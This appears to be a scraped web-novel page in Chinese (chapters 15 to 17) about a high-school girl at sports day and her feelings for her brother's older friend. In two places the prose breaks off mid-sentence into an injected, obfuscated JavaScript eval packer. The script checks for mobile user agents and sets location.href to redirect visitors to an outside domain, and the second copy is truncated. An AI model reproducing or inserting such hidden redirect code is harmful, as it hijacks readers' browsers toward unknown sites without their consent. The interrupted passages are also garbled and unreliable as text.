说到这,他问:“不是说来拍她跑步?还不过去?” “八百早就跑完了。”葛朝越想起来就一肚子火,“她自己冲刺冲太猛,到终点就吐了,却非要说是看到我恶心吐的。还骂我拍她是在给她留黑历史。靠,真是好心当成驴肝肺。” “那她现在人呢?” “同学扶去休息了,待会还得跑接力呢。还好是最后一棒,还有时间缓缓,不然得边跑边吐。” 江译白站起来,“那我去看看她。” “去吧,我看她看你吐不吐。” 恰好这时陈安远扔完铅球回来了,看到葛朝越,打了个招呼。 葛朝越翘着二郎腿,直说:“还是弟弟好,有礼貌。” 江译白问陈安远:“你认不认识文科班的葛思宁?她们班的帐篷在哪?” 葛思宁? 陈安远想起来了,那个被历史老师骂的女生。 但他不知道她在哪,于是摇了摇头。 “那我找找。” 陈安远意外:“你认识她?” 江译白点头,“对,怎么了?” “……没什么。” “你也认识她?” “不认识。”只是有过一面之缘。 葛朝越刚挂了爸妈的电话,听到这里,哈哈大笑:“有什么奇怪的?你忘了她是光荣榜上的常驻嘉宾,学校里无人不知无人不晓的葛思宁了?” 江译白服了他了,有那么好的记忆力原话背诵,四级还考了三次。 他从抽屉里拿了瓶脉动,还挑了口味。 葛朝越在后面说:“待会她跑完你记得把她带过来啊。中午我爸妈在学校附近订了餐厅,一起吃个饭。” “行。” 陈安远终于忍不住问:“越哥,葛思宁是你妹妹吗?” 虽然反应过来他们是一个姓了,但是陈安远还是想确认一下。 葛朝越冷笑两声,想起刚才的事。 “今天不是。” 15. 第 15 章 江译白找到葛思宁的时候她正在伸手接棒,他还没来得及打招呼,她就嗖地一下飞出去了。 他们班已经落后了别人一截,所以葛思宁起跑以后,旁边围观的人统统开始喊她的名字助威。 张月喊得最大声,嗓子都哑了,一回头,发现一个大帅哥。 她脸被太阳晒得微微红了,“请问你找谁?” 江译白一直站在他们班后面观赛,如果是路人看热闹,那明明往旁边走几步就有一块阴凉处。 看他的眼神,显然是有目标的。 手里又拿着水。 搞不好……是他们班哪个女生的校外男友? 张月的八卦之心怦怦跳,只见江译白朝她友好地笑笑,指了指那个逐渐和对手缩短距离的身影。 “我找葛思宁。” 张月一惊,看他的眼神从欣赏变至观察。 此男容貌不凡,气质不俗,显然非一般人也。 如果是他们学校的,早就传遍了。 且他看着年轻,但又和周围的男高中生十分不同。至于不同在哪,应该说是眉眼成熟一些?还是身形开阔一些? 应该是大学生吧。 张月福至心灵:“啊啊啊,我想起来了,葛思宁有个哥哥。就是你吧?哥哥好!” 她自来熟得很,江译白见她如此言之凿凿,不禁问:“我看起来和思宁长得很像吗?” “嗯……”张月沉思了一下,围着他转了个圈,得出结论,“挺像的,不过不是长相。” “那是?” “气场。” “什么气场?” “额……一种看起来很好说话,实则生人勿近的感觉?” 江译白对这个评价若有所思,葛思宁看着也不像好说话的人。他故意套话:“你和思宁是同学?” “对!同班同学,我坐她旁边。” 她们现在是单人单列,没有同桌的说法了。 “那你们平时应该经常一起玩吧。” “还好,其实不怎么一起,也没时间玩。”张月说。 她是住宿生,平时吃饭洗澡都很赶时间,所以不怎么和人成群结队。 葛思宁是走读生,她两也就在教室里能聊几句。 “我们班很多人都觉得她很高傲。” 张月不觉得高傲是个贬义词,所以当着江译白的面就说出来了。 她嘿嘿一笑,“但我觉得都是无稽之谈,我甚至觉得都是嫉妒。如果我有思宁一半聪明,我肯定比她还‘高傲’。我至少会把成绩单印在校服上,天天上学横着走。” 江译白听到张月的阐述,并不是很意外。 高中刚开学的时候,葛朝越经常在他面前抱怨,担心葛思宁交不到朋友,害怕她还和初中一样独来独往。 江译白当时反问他:“那又怎样?” 葛朝越说不出来怎么样,但是因为他自己是个很外向的人,所以假设他交不到朋友的话,他会很难受。 江译白却觉得,这个世界上有外向的人,就一定会有内向的人。 对于葛思宁来说,或许独处才是最舒服的状态 于是江译白点头,“我会参考的。” “参考什么?” “送她一件印着她成绩单的衣服。” “哈哈哈!” 张月笑得眼泪都出来了,“哥你也太幽默了。”她余光突然瞄到跑道,“加速了加速了!我去陪跑!”说着就冲出去了。 江译白看她飞奔过去,给已经上气不接下气、脸色涨红的葛思宁加油,此女一个人的声音都快盖过整个营了。 他也没闲着,前后看了看,仔细越过正在进行其他比赛的选手,打算到终点兜住葛思宁。 结果在跑道上没撞到人,在等待区撞到了。 那人还不小心踩了他一脚。 徐之舟抬起头,“对不起。” 江译白:“没事。” 裁判喊围观的人退一退,免得影响选手冲刺。 江译白往里面站了站。 他在徐之舟前面,按理说徐之舟应该跟着他退两步。 结果徐之舟完全没有一点让位置的意思,反而穿过他往前挤。 江译白挑了下眉。 操场上的呐喊声都快把天给掀翻了。 葛思宁在连续的剧烈运动以后听到这样的背景音,只觉得心烦意燥。正在翻江倒海的胃仿佛也随着此起彼伏的口哨声、发枪声和广播音乐而晃动,在她难受的那个点上反复横跳。 她跑完八百米的时候吐了,班主任就站在旁边,葛思宁问她能不能换个人,她现在真的很不舒服。 但是吴思看了看她苍白的脸,又看了看营地里的其他同学,对她说:“马上就开跑了,你可以问问。有同学愿意就可以换。不过参赛名单已经交上去了,虽然是写你的名字,但是如果是别人跑的,就不算你的个人分了。” 他们重点班是竞争制,每年都会根据个人得分洗牌,校园活动占百分之二十,要求学生德智体美劳全面发展。 张月曾经和她吐槽过学校搞这个机制简直不是人,“万一高二结束的时候掉出重点班,那高三岂不是只能在普通班了?是我心态得崩,这资源落差太大了!” 葛思宁想的却是,这他妈怎么就变成我的事了?我他妈不也是帮别人跑的吗! 她咬咬牙,目光落在营地里的同学们身上,无论男女都默契地避开了她的视线。 葛思宁没再说话。 她硬着头皮上,心想也不指望拿冠军了,不是最后一名就好。 结果第一位选手创造了空前的优势,第二位也拉开了不远的距离,第三位却掉链子,跑着跑着接力棒掉了,导致第四位心态动摇,等到她的时候已经是倒数第二了。 倒数第一那支队伍显然是有备而来,安排了一位飞毛腿跑最后一棒。 葛思宁为了不垫底,把身体里最后一点劲都跑光了,到终点的时候她已经是两眼昏黑、头晕目眩,呕吐感抵达阈值。 一跃过那条白线,她听到好几个声音在喊。 “思宁!” “葛思宁!” 她看见一截手臂横过来,显然是接她的。 她愣愣地偏头,入目先捕捉到江译白的脸,瞳孔骤缩。 身体条件反射地向前倒,惊慌和疲惫上涌,如海水般漫过她的自控能力,让她彻底承受不住,扶着那条手臂就哇地吐了出来。 张月在背后尖叫。 … 操场后面有一个洗手池,江译白和张月扛着她过去,葛思宁两条腿都软了。 她已经很难受了,但还是忍不住三步一回头。 张月受不了了,手动掰过她的脑袋:“哎呀,好了,人徐之舟已经回去换衣服了,你就别再担心了!” “……” 张月一边走一边说,“你也真是厉害,吐了我们理科班的男神一身。人家好心来给你加油,你还人家这么一个大礼。” 葛思宁:“……别说了。” 她又不是故意的。 她本来就难受,跑到最后本来就是要吐的,只是没想到会在这里见到江译白,又想到他对自己冲刺时的丑态一览无遗,一紧张,就忍不住了,张口就来。 江译白不知道去哪要了个杯子,给她接了杯水漱口。 葛思宁颤颤巍巍地接了,说:“…谢谢。” 张月说:“亲哥有什么好谢的。” 葛思宁含着水,疑惑抬头。 江译白也说:“是啊,亲哥有什么好谢的。” “……?” 葛思宁眨眨眼,看到他坦然的表情,突然就明白了。 她也不反驳,又接了杯水,反反复复地漱口。 这场比赛结束就是午休了,操场上的人越来越少,不少住宿生都去外面吃饭,张月也不例外。 她还约了别的班的朋友,于是看着表和葛思宁说:“那你哥在这我就先走了,下午见哈。” 葛思宁嗯了一声,心里想的却是下午能不能请假。 但是她们学校请假卡的很严,一定要家长亲自致电,无特殊情况还得签同意书。 校运会请假不参赛、偷懒的人很多,所以这几天各班老师都不太放人。 江译白问她:“好点了吗?” 葛思宁低落地应了一声,双手扶着水池边缘,在想有没有什么完美的借口。 殊不知她这副样子落在江译白眼里,就像一只受伤的小动物。 他拍拍葛思宁的背,“怎么了?因为跑了倒数第三,不开心?” “……没有。” 她已经尽力了,都快把胃跑出来了,没什么不甘心的。 葛思宁低下头,洗了把脸,清醒多了。 她把刘海往上捋,感觉捋得比较好看了,才抬头问:“你怎么来了?” 江译白信口胡诌:“跟葛朝越一起来的。” 他扭开那瓶脉动,对葛思宁撩上去又耷拉下来的条形码刘海视而不见。 “喝点水吧,补充一下能量,待会带你去吃饭。” “吃饭?和谁?”她声音里有着隐隐的期待。 “我,你,你哥,还有你爸妈。” 他没说陈安远,因为他刚才已经收到他和朋友一起吃食堂的信息了。 葛思宁顿时蔫了。 她丧得很明显,所以江译白问:“怎么?不想去?” 葛思宁摇头。 她本来以为只有葛朝越来了,她还想让葛朝越帮她请假呢。 结果现在王远意和葛天舒都来了,她就没办法撒谎了。 于是她捂着胃说:“……嗯,感觉肚子很不舒服。” 江译白当即皱眉,“刚才怎么没说?别喝脉动了,我带你去医院看看。” “不要不要!”葛思宁拒绝,“要不去校医室吧,我想躺一会儿。” 校运会期间的校医室肯定是开放的,校医不敢缺勤。 见江译白没说话,拿出手机好像准备打电话,葛思宁以为他不同意,赶紧攥住他的手。 “真不用!”她就是装病想休息而已。 他们之间的身高差已经随着葛思宁的长大而逐渐缩小,但是此时此刻,葛思宁还是下意识地踮了一下脚。 江译白保持着抬头的姿势,垂眸看她。 葛思宁一愣。 她莽撞的举动让他们的距离骤然缩短,几乎要碰在一起的衣服和交握的双手使他们一下子跌入亲密无间的状态里,这使葛思宁始料未及的同时,也令她的心头生出一股带着战栗感的陌生。 晴朗天气的光线下,如此近距离的接触让她能够清楚地看见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267296|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的每一寸肌肤,包括琥珀般的瞳色、并不纤长却浓密的睫毛、细小的毛孔、以及淡粉的唇色。 她的视线顺着风拂过的轨迹迁徙,一阵清凉的爽意掀过她的后背的同时,也卷走了她的心跳。 树影在他们脚下晃动,遮盖住灿烂阳光。 葛思宁的世界失声了。 他已经接通的电话传来叫嚷,对方反复确认他是不是信号不好,最后没耐心地挂了。 嘟嘟嘟。 命运将她的手拉到了江译白的手腕上,告诉她,你看,你牵住了他。 忙音却将葛思宁拉回当下。 她听见十五岁的葛思宁在低语,她说。 你越线了。 快回去吧。 葛思宁顿时醒神,仿佛触电般甩开了他的手。 可他的脉搏在她的指腹下跳动的节奏依旧十分清晰。 她突然紧张起来,不知道江译白现在的心情是如何。 江译白的脸上只写着意外两个字。 他晃了晃手机:“还是很难受?既然你不想去吃饭就不去了,我跟你哥说一声而已。” 葛思宁盯着他的眼睛,企图寻找到一些别的情绪。 她垂下去的手是温热的,手心逐渐沁出一层汗。 心像雨后的窗户,朦胧模糊。 “走吧。”他作势要抱她。 葛思宁吓了一跳,往后退了一步。 “干什么?” “我抱你去。” “……不用。” “不是肚子不舒服?” 她偷偷把手背过去,用衣摆蹭干净手汗。 “又不是腿不舒服。” 说完这句,她似乎是想证明自己真的还好,转过身兀自往校医室走去。 江译白追上来,扯了下她的手臂。 “跟亲哥逞什么强?” “……没有逞强。” 听到这个昵称,她突然想起刚才自己的“非礼”行为,总感觉作为妹妹,她这样做很逾矩。 如果不是妹妹,就可以了。 是这样吧? 葛思宁计划慢慢撕掉这个标签。 她故意道: “这种话你在我面前开开玩笑也就算了,为什么你还和我同学这样说?” 江译白被她质问得一愣,“所以你是在为这件事不高兴?” 葛思宁的脸一下子垮下来了。 “我没有不高兴。”她企图冷静。 加速走了两步,猛地扭头。 “在你心里我的性格到底是有多不好?所以你才会总是问我,是不是不开心,是不是在生气?” “我到底哪来那么多不开心,那么多气?” 冷静不下来。 葛思宁反应过来了。 刚才他的脉搏是平静的。 她牵他的手,他没有反应。 可恶! 葛思宁咬紧牙关,怎么会没有反应呢! 她反应可大着呢! 江译白跟她并排走,俯下身去看她的表情。 葛思宁突然意识到自己的刘海掉下来了,于是伸手去弄。 江译白替她拨了拨。 “没事,这样也很漂亮。” “你看,你还有胎毛呢。特别可爱。” “……” 所以在他心里,她还和十五岁那年一样,是吧? 葛思宁还没有意识到,刚才莫名其妙指责他的自己,其实也还和以前一样幼稚。 到了校医室,正好碰上要去吃午饭的校医。 对方一点也不掩饰,看着葛思宁重重地叹了口气,脸上挂着被耽误下班的不耐:“说说吧,怎么了?” 葛思宁最讨厌和这样的人打交道。 好在江译白在这里。 他说:“医生,她肚子不舒服。” 校医看了葛思宁一眼,让她撩开衣服。 “……” 葛思宁坐着没动,她催促道:“怎么了?大家都是女的,你不好意思啊?” “快点。” 她捏着衣角,江译白自觉出去了。 校医粗暴地摸了几个穴位,草率判断:“应该是剧烈运动后着凉了。你吃过饭了吗?” “吃了。”葛思宁懒得说那么多。 “那你在这躺一会儿。” 校医放下听诊器,“最近没来月经吧?” “没。” “那也排除黄体破裂的可能。” 她站起来,拿包,“里面有床,你可以睡。走的话记得帮我锁门。” 葛思宁觉得她好不负责,但嘴上还是说:“谢谢老师。” 校医走了。 葛思宁在犹豫要不要在这里睡,又要睡多久。 万一待会爸妈来找她,以为她很严重,非要带她去医院怎么办? 正犹豫着,校医又回来了。 葛思宁问:“老师,还有什么事吗?” 校医脸色严肃,“门外站着那个,不是你男朋友吧?” “……” “不是。”葛思宁否认了,但是又有点害羞地说,“怎么这么问?” 校医狐疑地看了她一眼。 “最好不是。我走了。校医室里有监控的,同学,你如果撒谎的话要想清楚后果。” “……” 16.第 16 章 葛思宁没有哪里不舒服了,但她很累。 犹豫了一会儿,她找了张床躺下。 外面没有动静,也没有人进来。 窗户开着,窗帘每随风荡起来一下,葛思宁就会抬头一下。 没有动静。 江译白……走了?去吃饭了? 她看着两片床帘之间的一道缝隙,慢慢困了。 也慢慢后悔了。 - 葛朝越没等到江译白,打电话问他在哪。 江译白解释了几句,让他吃完带饭到校医室来,葛朝越又问他校医室在哪。 两个人对学校的路都不熟,描述了半天才挂电话。 想到葛思宁在里面休息,江译白站在门外的树下,倒没那么着急进去。 至于刚才葛思宁的话,他也没放在心上。 张月那张大嘴巴,把班主任强迫学生和其他同学三推四阻的嘴脸描述得生动形象。 江译白几乎能想象出葛思宁抿着唇,一脸倔强地接受,内心却完全不服的样子。 受了委屈的小孩需要发泄,他理解。 葛思宁朝他发脾气,其实也是信任他的表现。 江译白莫名想起陈安远小时候。 那时候老江刚和他妈妈再婚,两个重组家庭的小孩,没有血缘也没有共同话题,花了很长一段时间才建立起感情。 陈安远一开始不怎么和他说话,总是摆臭脸,好像别人欠他钱。 后来江译白才知道,那是他妈教他的生存之道。 他爸死得早,孤儿寡母容易被欺负,所以小小年纪的陈安远不得不伪装成熟。 再后来,他们都长大了。 老江和阿姨不管孩子的时间里,都是江译白带着他。 带他吃饭,带他上学,带他到未成年也能兼职的店里打工,带他认识一些在外面有头有脸但是底色还算善良的混混,偶尔请他们上网,喝奶茶,以免在学校里被欺负。 江译白教给他很多东西,好的坏的,什么都有。 所以他敞开了心扉,以至于长大一点,就敢跟江译白叫板,敢休学打工,敢在外面打架。 有时候江译白会想,陈安远那么畏惧被人抛弃,为什么还敢和自己对着干。 想来想去,或许原因只有一个。 就是陈安远相信江译白不会不管他。 葛思宁也一样。 想到这里,他唇角微翘。 一群小屁孩。 担心吵到葛思宁休息,江译白打算在门口拦截葛朝越。 他等了半晌,没等到人,有学生吃完饭回来了,陆续经过校医室。 不少好奇的目光落在江译白身上,他头也不抬,专注地看手机,在玩消消乐。 就这样保持低头的姿势玩了五分钟,他的脊椎开始隐隐作痛。 江译白捏了捏自己的脖子,刚想抬头,就听到一阵嬉笑声。 “哈哈哈,好啊,就这样传到网上去……” “看她以后还敢不敢嚣张。” “葛思宁平时这么拽,这次是该给她点颜色瞧瞧。” 听到这个名字,江译白朝面前准备经过他的两个女生投去视线。 被拦住的时候,女生吓了一跳。 扭头看到一张帅脸,又顿时羞涩。 今天校运会来了不少外校的人,她也被加了几次微信,她以为这个男人也是抱有同样的心思。 于是温柔地问了句:“有事吗?” 同伴在后面戳她的腰窝,小声道:“桃花运真好喔喔喔。” “…别闹。” 她手机没熄屏,正在循环播放一段视频。 很短,只有五秒左右。 江译白看清楚了,是葛思宁跑八百米的时候吐了一地的录像。 声音没关,他听见一些零碎的笑声。 画面被放大过,说明距离很远,笑声应该是来自拍摄者。 他收回视线,看向这个女生。 对方眼睛亮晶晶地看着她。 他皮笑肉不笑地:“你好。” “你好啊。是要加微信吗?” “不是。”江译白干脆利落地否认。 女生没想到他这么直接,表情僵了一下。 “那请问是有什么事呢?” 江译白掏出手机,打开摄像头。 女生下意识捂住脸:“你干嘛拍我!” 她的同伴也很激动,“你干嘛突然拍她?你不知道这侵犯肖像权了吗?有没有素质!” 江译白指了指她的手机,镜头怼下去,清晰地录到了她正在播放的内容。 “这才叫侵犯肖像权。”他说,“你很漂亮。为了校运会,专门化了妆吧。不过我刚才在来的路上,看到教导主任在抓化妆的女同学?” 女生连忙擦口红:“关你什么事!” 江译白耸耸肩:“是不关我的事。但你这么漂亮都害怕突如其来的镜头,那为什么还要拍别人不舒服时的丑照呢?” “……” 女生算是听懂了,这人八成认识葛思宁。 江译白也没打算隐瞒,结束录制,直接说:“删掉。” 同伴很没面子,反问:“凭什么?!” 江译白晃晃手机:“不删我就去找你们班主任了。” 女生咬着唇,感觉自己今天真是倒大霉了,早上刚被葛思宁羞辱完,现在又碰上这么个硬茬。 她愤懑地瞪着江译白,点了删除键。 “……可以了吧?” “有备份吗?” “没有!” 他检查了一遍,确认没有以后,把刚才录的视频删了。 同伴见状,攥着女生赶紧跑了:“走吧走吧……” 江译白想了想,又把视频从最近删除里找回来。 她们前脚落荒而逃,后脚葛朝越就骑着共享单车拎着饭来了。 果然,他一停车就大声嚷嚷。 “什么鬼天气?” 江译白接过车把手上的东西,又使唤他去买两瓶水。 葛朝越都快被晒死了。 “你他妈在门口站这么久,你怎么不去?” “我在当护花使者。” 葛朝越刚吃的饭差点吐了,“这是学校,大哥,不是法外之地。” 还守在门口。 真把自己当葛思宁的保镖了。 抱怨归抱怨,他还是去买了。 江译白带着饭进去,掀了几次帘子才找到躺在最里面的葛思宁。 她眼睛睁着。 江译白走进去,“没睡着?” 葛思宁看着他,一时没说话。 江译白过去把窗户拉大了点,风扇关小了点。 回头看见葛思宁还盯着他,他挥了挥手。 “傻了?” “没有。”她小声说,“我以为你走了。” 他把饭放到床头,在拆塑料袋上的结。 语气听起来很随意:“我能去哪?” 葛思宁背过身去,不想听这种话。 她觉得自己回不去了。 可江译白却还没有意识到,他不能再像哄小孩一样去哄一个少女。 他们空间上的距离太远,年纪也差了好几岁,他的忙碌和葛思宁的忙碌完全不一样。 不在一个阶段,不是相同的目的,就无法设身处地地理解对方的心境。 他无法立即体会的每一次起伏都是她急速生长的前兆。 那时他看她只是一颗种子,背过身的一瞬,花苗已经抽条。 江译白连一次性筷子都给葛思宁掰好了。 “先起来吃饭。你上午消耗了这么多体力,要好好补充碳水。” 葛思宁恹恹地坐起来,接过,对琳琅满目的菜色不是很感兴趣的样子。 江译白也还没吃饭呢,光紧着她了。 他在床头发现了校医开的药,反复确认:“你还没吃吧?这个不能空腹吃。” 葛思宁说:“没水。”怎么吃? “葛朝越已经去买了,你等一会。先吃几口饭垫垫肚子。” “……我爸妈没来吧?” “没。” 葛思宁松了口气,心里盘算着待会要如何收买葛朝越。 江译白一直催她吃饭,葛思宁草草咽了两口。 还没吞下去,葛朝越就回来了。 还没见到人,就已经听到声音了。 “葛思宁!” 她装死。 江译白说了句“在这”。 葛朝越挑帘进来,看她这幅死样,大汗淋漓地骂:“没良心的丫头,亏我为你跑前跑后。” “我又没让你来。” “你再说一遍?” 葛思宁不说。 体谅她不舒服,葛朝越不和她计较,给她扭开矿泉水放一边,拖了张凳子过来坐。 “没什么大事吧?” 江译白也没来得及问:“校医怎么说?” 葛思宁拨着鲜艳的小青菜:“说是着凉了。” 葛朝越看着外面的大太阳,说了句:“庸医!” “走,我们上医院去。” “不用了,我已经不痛了。”她开始套路了,“我就想躺一会儿。早上吐了两次,感觉人都脱水了,不知道下午再晒下去会不会中暑。” 她说这话的时候江译白看了她一眼。 她察觉到了,莫名紧张。 葛思宁突然想起什么,问葛朝越要手机。 “我要你帮我保管,你不会弄丢了吧?” “对对对,弄丢了。”葛朝越好没气地从口袋里拿出手机丢给她,并解释,“爸妈本来想来看你的,但是妈下午还要赶回去上班,爸听说江译白也在,他还要去银行办事,就没过来。” 葛思宁对此敷衍地点点头,心想不来才好呢。 她打开手机,试探性地给徐之舟发了个表情包。 宁:[halo哥们。] 宁:[你没事吧……] 徐之舟应该是已经到家了,回得很快。 X:[没事。] X:[你呢?到家了吧?] 宁:[我在校医室躺着。] X:[?] X:[就你一个人?] 宁:[不是。] 那边输入了一会。 X:[你吃饭了吗,要不要我给你打一份?] 徐之舟父母是学校老师,他家就住学校后面那栋职工楼,离食堂特别近。 宁:[不用不用。我哥他们给我带了饭。我就是想发个信息问问你,跟你道个歉。今天真是不好意思啊……] X:[没事。] X:[意外。] 宁:[嗯嗯,等下次放大周我请你看电影吧,或者小周也可以,看你时间。] X:[谢谢,我有空会通知你。] 宁:[好的。] 葛思宁一手端着饭,一手在手机上打字,饭一口没吃,手机倒是响个不停。 江译白都吃完了,她连面上的菜都还没怎么动。 葛朝越警铃大作。 他绷着脸,想起刚才骑车来的路上见到了一群漫步在校园小道上的小情侣,严肃地问:“葛思宁,你在和谁聊天?” 葛思宁觉得这事特丢人,于是说:“没谁。” “你少装蒜。捧着手机恨不得脸都埋进去了,还撒谎呢?” 她哪有。 葛思宁可不背这个锅,她熄了屏,打算和葛朝越好好分辨分辨,殊不知这个行为在哥哥看来就是做贼心虚。 葛朝越朝她摊手:“我不信。聊天记录给我看。” 江译白推了下他的肩膀:“这不好吧。” 葛朝越:“有什么不好的?” 葛思宁:“这是我的隐私!” “你要是问心无愧,怎么不敢给人看?” “我不是不敢,是不想!你会不会尊重人?” 葛朝越瞠目结舌:“我不尊重你?葛思宁,你自己好好数数你从小到大做了多少丢脸事,我都替你瞒着!你还记不记得你十岁的时候去动物园,不小心掉进了大象的粑粑里,还是我……” 葛思宁吓得坐起来捂住他的嘴。 这都几百年前的事了!他怎么还拿出来说! 她下意识去看江译白,对方回她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“但人都是环境下的产物,谁能保证她看多了见多了,不会想尝试?以前她只是在小说、电视剧里感受爱情,现在却有了接触的机会,想捅破这层窗户纸是分分钟的事。” 江译白:“我觉得你想得太复杂了。” “我才觉得你太天真了!现在的高中生早熟得很,十几岁花花肠子就一大堆。”葛朝越也是从那个年纪过来的,他太清楚了,“你设想一下,如果是陈安远早恋了,你开心吗?” 江译白倒是觉得无所谓:“那是他的事。不影响学习就行。” 葛朝越抓狂:“靠,怎么会不影响?算了,我跟你说不清!谁让我命苦,家里养的是公主。” 江译白笑他:“几天不见,都变成育儿大师了。” 女孩子需要操的心就是多一些。 希望她去闯,又害怕她受伤。 期盼她勇敢,又担忧她过于冒险。 江译白勉强认同葛朝越的“阴谋论”。 他也稍稍想了想这个问题,他倒是觉得,以葛思宁的个性,是不会让自己堕落的。 就算真的早恋了,她也会把这种感情当做向上的动力。 来到小卖部,葛朝越拿了瓶怡宝,给自己拿了瓶可乐,又问江译白喝什么。 江译白说随便。 “随便的话你买单哈。” “?” 扫码的时候他发现葛朝越还拿了两包薯片。 他美其名曰:“妹要吃。” 江译白懒得和他吵,提着塑料袋往回走。 躺到午休结束,不用葛思宁想方设法,葛朝越就主动提出要替她请假。 吴思说:“正常情况下,校运会期间的假条我们是不批的。” 葛朝越以前读书的时候最讨厌这种装腔作势的老师,现在毕业了,当然要支楞起来。 “葛思宁上午已经吐了两次了,跑完一直肚子痛到现在,再说了她下午没有项目,又不会耽误什么。”他有理有据,无可指摘,“而且现在学习任务重,万一周一上学她还没恢复过来,耽误了学习进度怎么办?” 葛思宁站在旁边都快给他鼓掌了。 最后吴思放了人,不过走的时候还吩咐葛思宁离校前把语文卷子发一发,免得同学们周日没作业。 江译白说:“我来吧。试卷在哪?” 葛思宁找过了,文科班办公室没有,那就是在楼下打印室,还没拿上来。 江译白下去找,让他们先去车上等。 葛朝越说:“就停在校门口的小巷里,你记得车牌号吧?” “知道。左车尾凹下去那辆。” “……” 江译白找到打印室,一进去就看到了徐之舟。 对方正在数试卷,看见他,问都没问就说:“文重班的在这边。” “谢谢。” “不客气。” 两个人并排站着,像两台沉默的点钞机。 突然徐之舟又开口了。 “您好。” “?” 江译白偏头,目光带着不解。 “中午在操场上有些仓促,没来得及和您打招呼。” 徐之舟语气带着歉意。 “您是思宁的哥哥?” 江译白想到她今天的话,摇摇头。 “我是她哥哥的朋友。” “嗯?” 徐之舟有些疑惑,因为今天江译白看见葛思宁吐的时候很紧张,并且还代替几乎要晕厥的葛思宁给他道歉。 如果只是哥哥的朋友,需要这么关心吗? 他真情实感地为自己猜想而抱歉。 “那你也算葛思宁的朋友。” “可以这么说吧。” 江译白不否认,还开玩笑:“我们是忘年交。” 徐之舟却没有笑。 江译白只需要点一个班的,于是先走了。 到校门口的时候,他远远看见葛朝越在那吞云吐雾,一边抽还一边瞪那些溜出来买奶茶的小情侣。 嘴巴里念叨着,“小小年纪不学好!” 江译白看他如此义愤填膺,咸吃萝卜淡操心,忍俊不禁。 但是转念一想,想到徐之舟。 又突然觉得,葛朝越的担心不无道理。 就是不知道,葛思宁会喜欢什么样的男生呢? 17.第 17 章 回家途中突临骤雨,交通状况堵塞。 葛朝越的手指敲着方向盘,看了眼后座各自玩手机的一男一女,对江译白说:“你今晚要不住我家吧?陈锐他们这周也回来,晚上一起出去吃个宵夜?” 江译白说可以,但是,“晚上雨不大的话我还是回去吧。” “回什么回啊。” 葛思宁竖着耳朵在听。 江译白:“又不远。” 还不远?她在地图上搜索路线,还有地铁。 葛朝越:“主要是麻烦。你就住一晚,明天我和你一起回学校。” 对啊,葛朝越开车,多方便。 葛思宁滑动着屏幕,在数站点,期待葛朝越能多说点。 许是她沉默得有些诡异了,江译白看了她一眼。 葛思宁切屏,装作在打字。 “还在和张月聊天啊?”他突然开口问。 “啊?”葛思宁懵了一瞬,下一秒防备地熄屏,“没有。” 前面开车的人闻言哼了一声。 江译白抬抬下巴,“看你一直打字。” “……我在备忘录里默写政治大题模版。” “哦。”江译白给她比了个大拇指,“励志。” 葛朝越也觉得不对劲。 “葛思宁,你今晚有事?” “?” “没有啊。” “那我们刚才说今晚要出去玩,你怎么不嚷嚷着带上你了。” “……” 我真说去你又嫌弃。 葛思宁在心里翻了个白眼,“我长大了,不想再和你们这群老男人混在一起了。” 她嘴快,说完才发现自己扫射了所有人。 她偷偷看了眼江译白,很好,又假装没听到。 其实有时候葛思宁会希望他不要这么体贴。 她很想看看他别的反应。 葛朝越:“呵呵。” “老男人?我才几岁就被你这么叫了?你哥我今年才二十出头,正是春风得意的时候,你懂什么。” 她小声吐槽:“也没见你有多得意啊,上周还听到你跟爸爸要钱。” “你懂什么,人在江湖飘,哪能不花钱。” “你可以自己打工啊。”像江译白那样。 “我不需要,懂吗?” “……” 说完他哼起歌来,葛思宁觉得特别不舒服。 江译白支着脑袋在看窗外风景,突然察觉到她幽幽的视线。 他当然听到了他们刚才的对话。 但是他不在意。 这个世界上有的人就是天生命好。 他没什么可埋怨的。 只是察觉到葛思宁在照顾他的感受,他有点感动。 江译白偏头,垂眸对上葛思宁有些忐忑的表情。 他抬手想帮她把贴在侧脸的耳发撩开,葛思宁却扭头避开了。 无论是他的动作,还是他的目光。 江译白以为她是不好意思表达自己的关心,所以害羞了,并不觉得自己这个举动对女高中生来说有些亲昵。 “干嘛突然看我。”他故意问,“心疼我到处打工啊?” “……没有。” 葛朝越在前面倒油,反应很大:“你心疼他干嘛啊?我真是服了,你这个哥有钱得很。你都不知道他现在在外面打多少份工,一个月挣多少钱。” 葛思宁闻言感觉心脏好像被人拧了一把,除此之外还产生了迷茫。 她抱着书包,手指在扣拉链。 江译白并没有反驳葛朝越的话。 葛思宁盯着窗外迎面瞥向自己的雨水看了一会儿,虽然隔着一层玻璃,但她的心情却好像弥漫在漫天大雨里,变得潮湿幽深。 她慢吞吞地找措辞。 “哥哥。” “嗯?” 本来葛朝越张嘴想应的,结果被江译白抢先。他回头瞪了他一眼,江译白人畜无害地朝他笑笑,然后就听到葛思宁说。 “你现在挣的比给我当家教要多很多吗?” 葛朝越嘲笑她:“废话。” “是做什么的?” 江译白想了想,简单说:“就是和本专业相关的工作。和你妈妈公司的业务差不多。” “那为什么你不去我妈妈公司上班?” 葛朝越:“因为人家已经有更好的offer啦。而且钱不钱的都是小事,不管干什么都比给女高中生当家教来的有前途吧?” 江译白觉得这话有点伤人了,骂了他一句:“你能不能闭嘴。” 回头看,发现葛思宁果然表情黯然。 “思宁,”他许诺,“虽然我不是你的家教了,但是你可以像以前一样发题目来问我。或者平时你在生活上遇到什么事情,不介意的话也可以和我说。” “啧啧啧。”葛朝越感慨,“保姆啊保姆。” 葛思宁假装没听到,跟江译白确认:“什么都可以吗?” “什么都可以。” “不是题目也可以?” “当然了。” 